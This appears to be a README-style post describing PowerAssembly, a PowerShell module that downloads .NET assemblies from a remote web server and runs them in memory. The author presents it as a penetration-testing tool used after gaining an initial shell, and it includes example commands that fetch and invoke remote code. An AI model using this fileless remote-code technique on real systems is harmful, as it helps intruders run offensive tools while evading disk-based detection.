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You can find a complete version of the project that is described in this paper on my Github account.

https://github.com/DarkCoderSc/PowerAssembly

PowerAssembly

Map in current PowerShell Instance Memory .NET Assemblies from remote web server.

When Assembly is mapped, you can invoke it's main with a command line argument.

The advantage of this technique is to avoid having assemblies written on disk. Everything happens in memory.

I'm using this script during my penetration tests / labs right after getting an initial shell on Windows to load other .NET Tools (Ex: ShapHound, ShapUp etc..)

Prepare

You can use this code whether as a PowerShell Module or Classic Script.

As a module

Choose an existing PowerShell Module Folder (see echo $env:PSModulePath)

Create a folder called PowerAssembly and place the PowerAssembly.psm1 module inside of this new folder.

Open a new PowerShell Window and enter Import-Module PowerAssembly

The module is now ready for use with available functions:

  • Get-MappedAssembliesList
  • Invoke-Assembly
  • Get-RemoteAssembly

As a script

You can for example copy / paste the whole PowerAssembly.psm1 code in a new Powershell Window and enjoy offered functionalities.

Use It

Get-RemoteAssembly

Retrieve a .NET Assembly hosted in a remote web server.

URI must be a valid .NET Assembly file otherwise this function will raise an error.

Example:

Get-RemoteAssembly -RemoteAddress http://127.0.0.1/MyAssembly.exe

or simply

Get-RemoteAssembly http://127.0.0.1/MyAssembly.exe

Get-MappedAssembliesList

Return the list of successfully mapped assemblies with its index number. Index is important to define which assembly to invoke using Invoke-Assembly function.

Get-MappedAssembliesList

Invoke-Assembly

Invoke the main function of a target mapped assembly (defined by its index, see Get-MappedAssembliesList)

Example:

Invoke-Assembly -mappedIndex 1 -argumentLine "Arg1 Arg2 Arg3"

Notice: Index 0 = 1

Written the Oct. 22, 2021, 11:34 a.m. by Jean-Pierre LESUEUR

Updated: ago.